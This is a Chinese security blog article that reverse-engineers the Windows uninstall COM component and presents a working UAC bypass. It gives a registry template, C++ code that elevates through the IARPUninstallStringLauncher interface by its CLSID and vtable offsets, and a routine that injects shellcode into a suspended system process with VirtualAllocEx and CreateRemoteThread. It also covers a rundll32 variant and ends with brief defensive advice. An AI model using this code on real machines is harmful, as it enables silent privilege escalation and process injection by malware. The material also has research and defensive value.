未加星标

巧用COM接口IARPUninstallStringLauncher绕过UAC

字体大小 | |
[系统(windows) 所属分类 系统(windows) | 发布者 店小二05 | 时间 2016 | 作者 红领巾 ] 0人收藏点击收藏

* 本文原创作者:ExpLife,本文属CodeSec原创奖励计划,未经许可禁止转载

前言

最近笔者对之前利用windows卸载接口绕过UAC的研究资料进行了整理,这里指的并非 Github 这份代码中的模拟鼠标点击的方式,而是编码实现程序自身调用windows卸载接口从而绕过UAC的方式。

简介

细心的朋友可能会发现,通过windows的控制面板卸载程序的时候不会触发UAC框,那么其背后的原理是什么呢?主要有三点:

1.调用位于CARPUninstallStringLauncherCOM组件中IARPUninstallStringLauncher接口的LaunchUninstallStringAndWait方法来实现卸载程序。

2.获取autoelevate的IARPUninstallStringLauncher接口指针,这里实际就是将中完整性级别提升至高完整性级别,这一步在不可信的宿主程序中执行的时候会触发UAC窗口。

3.步骤2中的操作要在windows的白名单程序中执行才不会触发UAC框,哪些是白名单程序呢?位于系统目录%systemroot%下的很多exe都是白名单程序,比如说:记事本,计算器,桌面等等。

逆向分析控制面板的卸载功能
巧用COM接口IARPUninstallStringLauncher绕过UAC

首先向控制面板的已安装程序列表中添加一个测试条目,要实现这里一点只需要在注册表键

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall下添加一个子键即可.该子键导出的reg文件模版如下:

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}]
"DisplayName"="利用COM接口ARPUninstallStringLauncher绕过默认等级UAC演示示例"
"UninstallString"="D:\\VSProject\\ElevateUI\\Release\\ElevateUI.exe"
"Publisher"="ExpLife"
"DisplayVersion"="1.0"

该模版中各个键名的具体含义请参见上图.其中{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}这个名称大家可以根据需要替换成任意字符串。

接下来将windbg附加到桌面进程,对创建进程的API函数CreateProcessW设置断点。


巧用COM接口IARPUninstallStringLauncher绕过UAC

然后运行起来,接着在刚刚添加的测试条目上单击鼠标右键并选择右键菜单项<卸载/更改(U)>。

这时断了下来,查看一下调用堆栈


巧用COM接口IARPUninstallStringLauncher绕过UAC

可以看到,控制面板中的单击鼠标右键的卸载菜单项实际上是调用的appwiz.cpl模块中IARPUninstallStringLauncher接口的LaunchUninstallStringAndWait方法。

通过IDA加载appwiz.cpl,然后查看一下交叉引用图解


巧用COM接口IARPUninstallStringLauncher绕过UAC

接着查看一下LaunchUninstallStringAndWait这个方法的反编译代码


巧用COM接口IARPUninstallStringLauncher绕过UAC

这里IDA对于LaunchUninstallStringAndWait这个方法的几个参数识别有误.第一个参数是this指针,可以暂时不用理会,第二,第三,第四个参数的含义我们可以通过ReadUninstallStringFromRegistry这个函数的内部实现来进行推敲.该函数的功能根据函数名称字面的意思应该是从注册表中读取卸载字符串.反编译代码如下:


巧用COM接口IARPUninstallStringLauncher绕过UAC

该函数还是很容易还原的,笔者反推如下:


巧用COM接口IARPUninstallStringLauncher绕过UAC

返回上一层看看效果,是不是该函数参数的含义一目了然了!


巧用COM接口IARPUninstallStringLauncher绕过UAC

最后一个参数hWnd并没有用到,我们暂时不予理会。

逐步推敲可知LaunchUninstallStringAndWait这个方法的功能就是从注册表指定的键值中读取卸载字符串(即卸载程序的命令字符串),然后通过该卸载程序的命令字符串创建卸载进程。


巧用COM接口IARPUninstallStringLauncher绕过UAC

那么我们应该给这各个参数传什么数值呢?

我们首先断到这个方法来看看,系统传递的值是多少?


巧用COM接口IARPUninstallStringLauncher绕过UAC

通过堆栈中的数值我们可以知道,该函数的第二个参数和第四个参数系统传的是0。

第二个参数hKey不要想当然的传HKEY_CURRENT_USER,这个宏的值实际为0×80000001,根据ReadUninstallStringFromRegistry

的第一个参数的表达式(hKey != 0) -x7FFFFFFF来看,当hKey的值为0时候, (hKey != 0) -x7FFFFFFF的值才为0×80000001,即HKEY_CURRENT_USER.所以hKey这个参数应该填0。

第三个参数pUninstallRegKey实际上是

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall这个注册表

键下的子键的名称

第四个参数bIsModifyOrUninstall表示卸载或者更改状态对应的布尔值,填0表示卸载。

第五个参数hWnd该函数中并没有用到,所以直接填NULL.

光有LaunchUninstallStringAndWait这个方法还不够呀,这个方法并没有体现权限是如何提升的呀!

我们继续往上层回溯,根据调用堆栈的情况,我们查看一下上层函数的交叉引用图示


巧用COM接口IARPUninstallStringLauncher绕过UAC

由于LaunchUninstallStringAndWait是通过虚函数的形式调用的,也就是说运行时动态调用的,所以静态分析的交叉引用凸显不出来。

下面我们要重点关注的就是CInstalledApp这个接口中的_CreateAppModifyProcess方法。

这个方法调用了非常多的外部方法,规模有点庞大。


巧用COM接口IARPUninstallStringLauncher绕过UAC

将该图示放大可以找到一个比较有意思的方法-CoCreateInstanceAsAdminWithCorrectBitness.


巧用COM接口IARPUninstallStringLauncher绕过UAC

这个方法其实就是用来提权,笔者将该方法反编译的代码整理如下:


巧用COM接口IARPUninstallStringLauncher绕过UAC

如果编程功底比较弱,那么你看到这段代码也可能丈二脑袋摸不着头脑,但是你通过将其编码成C/C++代码依然可以实现你想要的功能:

如果开发功底好的话,应该会知道微软官方有如下的介绍: https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx ,其中有示例代码:


巧用COM接口IARPUninstallStringLauncher绕过UAC

该示例代码与IDA反编译的代码基本等价.所以逆向与开发是相辅相成的.要重视实际编程的历练。

好了下面我们使用微软官方的工具OLEViewer查看一下appwiz.cpl这个组件的类型库.因为要调用COM组件中的接口,最直接的方法是需要导入类型库的。


巧用COM接口IARPUninstallStringLauncher绕过UAC

但是笔者在该类型库中并没有找到IARPUninstallStringLauncher这个接口的描述信息。

但是笔者在全局分支All Object下找到了如下组件描述信息


巧用COM接口IARPUninstallStringLauncher绕过UAC

那么极有可能IARPUninstallStringLauncher这个接口是供微软内部使用的.

从该描述信息中我们可以得知:

CARPUninstallStringLauncher(即ARP UninstallString Launcher)这个组件的CLSID为{FCC74B77-EC3E-4DD8-A80B-008A702075A9}.

IARPUninstallStringLauncher这个接口的IID为{F885120E-3789-4FD9-865E-DC9B4A6412D2}

与IDA中呈现出来的GUID是一致的.


巧用COM接口IARPUninstallStringLauncher绕过UAC

好了,由于找不到appwiz.cpl的类型库,所以笔者只好退而求其次,直接获取COM组件对象的地址,然后通过访问虚函数表来获取接口中方法的指针. CARPUninstallStringLauncher接口的虚表布局如下, LaunchUninstallStringAndWait的偏移为0x0C。


巧用COM接口IARPUninstallStringLauncher绕过UAC
编码实现绕过UAC的功能 核心提权代码 HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
int _tmain(int argc, _TCHAR* argv[])
{
CLSID clsid;
IID iid;
LPVOID ppv = NULL;
HRESULT hr;
PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait pfn_LaunchUninstallStringAndWait = NULL;
PFN_IARPUninstallStringLauncher_Release pfn_IARPUninstallStringLauncher_Release = NULL;
if (IIDFromString(L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}", &clsid) ||
IIDFromString(L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}", &iid))
return 0;
CoInitialize(NULL);
hr = CoCreateInstanceAsAdmin(NULL, clsid, iid, &ppv);
if (SUCCEEDED(hr))
{
pfn_LaunchUninstallStringAndWait = (PFN_IARPUninstallStringLauncher_LaunchUninstallStringAndWait)(*(DWORD*)(*(DWORD*)ppv + 12));
pfn_IARPUninstallStringLauncher_Release = (PFN_IARPUninstallStringLauncher_Release)(*(DWORD*)(*(DWORD*)ppv + 8));
if (pfn_LaunchUninstallStringAndWait && pfn_IARPUninstallStringLauncher_Release)
{
pfn_LaunchUninstallStringAndWait((LPVOID*)ppv, 0, L"{18E78D31-BBCC-4e6f-A21D-0A15BBC62D49}", 0, NULL);
pfn_IARPUninstallStringLauncher_Release((LPVOID*)ppv);
}
}
CoUninitialize();
return 0;
}

调试运行,发现会弹出UAC框


巧用COM接口IARPUninstallStringLauncher绕过UAC

为什么呢?因为执行该提权代码宿主的身份是不可信的,所以我们需要想办法让这段代码在windows的白名单程序中运行.所以很直接的会想到将这段代码注入到诸如计算器,记事本,桌面等等程序中去执行,这样就不会弹出UAC框了。

将提权代码转换为shellcode并注入到白名单程序中执行

关键代码:

BOOL BypassUacWithInject(LPTSTR lpExe)
{
HMODULE hModule = GetModuleHandle(NULL);
TCHAR cAppName[MAX_PATH] = {0};
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpNewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
lpMalwareBaseAddr = g_ByPassUac;
AddUninstallItem(lpExe);
GetSystemDirectory(cAppName, MAX_PATH);
_tcscat(cAppName, InjectTarget);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(π, sizeof(pi));
if (CreateProcess(cAppName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, π) == 0)
{
return bRet;
}
lpNewVictimBaseAddr = VirtualAllocEx(pi.hProcess,
NULL,
SizeOfBypassUac,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpNewVictimBaseAddr == NULL)
{
return bRet;
}
WriteProcessMemory(pi.hProcess, lpNewVictimBaseAddr, (LPCVOID)lpMalwareBaseAddr, SizeOfBypassUac, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpNewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
DeleteUninstallItem();
return bRet;
}

由于有注入行为,所以主流杀毒软件可能会拦截


巧用COM接口IARPUninstallStringLauncher绕过UAC

那么有没有无需注入的方法呢?当然有。

利用rundll32来加载自定义dll中导出函数

rundll32调用dll的导出函数是有特殊规定的,函数必须是如下形式:

VOID CALLBACK
EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);

但是笔者测试发现通过函数名称调用会报错。


巧用COM接口IARPUninstallStringLauncher绕过UAC

笔者逆向了一下rundll32.exe的实现,变相的解决了报错的问题.

这里弹出的错误框通过样式可知是MessageBoxW弹出的,通过交叉引用得到:


巧用COM接口IARPUninstallStringLauncher绕过UAC

上层的_DisplayErrorMessage是对MessageBoxW的一个简单封装,我们直接略过,我们重点来看看_InitCommandInfo这个函数的实现,顾名思义:初始化命令行信息.


巧用COM接口IARPUninstallStringLauncher绕过UAC

继续转入_FindCommandFunction这个函数.


巧用COM接口IARPUninstallStringLauncher绕过UAC

笔者动态调试跟踪发现函数名称填写正确,依然获取不到函数地址.但是之前笔者在没有安装任何杀软的系统上是可以通过名称调用的,所以笔者猜测有可能是杀毒软件的各种挂钩导致的兼容性问题所致,也可能是因为现在利用rundll32来启动的木马病毒泛滥,所以安全软件的沙箱对这个点进行了防护.这里仅仅是猜测,笔者后面如果有精力再来研究。

既然通过名称无法调用,正好上面的_FindCommandFunction这个函数表明可以通过序号调用,那我们就通过序号调用呗,笔者测试发现通过序号调用是正常的。

POC的测试效果

见百度云盘: https://pan.baidu.com/s/1eSftkp8

小结

调用ARP UninstallString Launcher组件的卸载接口,有如下特点:

①与之前的利用DLL劫持这类方法相比更加简单

②通用性更好,由于文件系统重定向的缘故,一个32程序就可以兼容x86/x64系统

③注不注入都可以

防御建议:

监视注册表中特定键值

将UAC等级开到最高,其实开到最高,也很难分辨是否存在恶意行为,因为系统的正常操作也可能出现类似的效果

文中相关POC代码已上传github,地址为: GitHub

参考资料

https://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx

https://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx

https://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html

http://bbs.pediy.com/showthread.php?t=206830&highlight=UAC

http://bbs.pediy.com/showthread.php?t=208717&highlight=UAC

https://www.greyhathacker.net/?p=796

https://github.com/hfiref0x/UACME

https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/

https://github.com/smb01/UacBypassUninstall

http://www.CodeSec.Net/sectool/114592.html

https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx

https://support.microsoft.com/zh-cn/kb/164787

* 本文原创作者:ExpLife,本文属CodeSec原创奖励计划,未经许可禁止转载

本文系统(windows)相关术语:三级网络技术 计算机三级网络技术 网络技术基础 计算机网络技术

主题: WindowsUAGitARPUGitHubC++CUSU微软UT
分页:12
转载请注明
本文标题:巧用COM接口IARPUninstallStringLauncher绕过UAC
本站链接:http://www.codesec.net/view/483921.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 系统(windows) | 评论(0) | 阅读(39)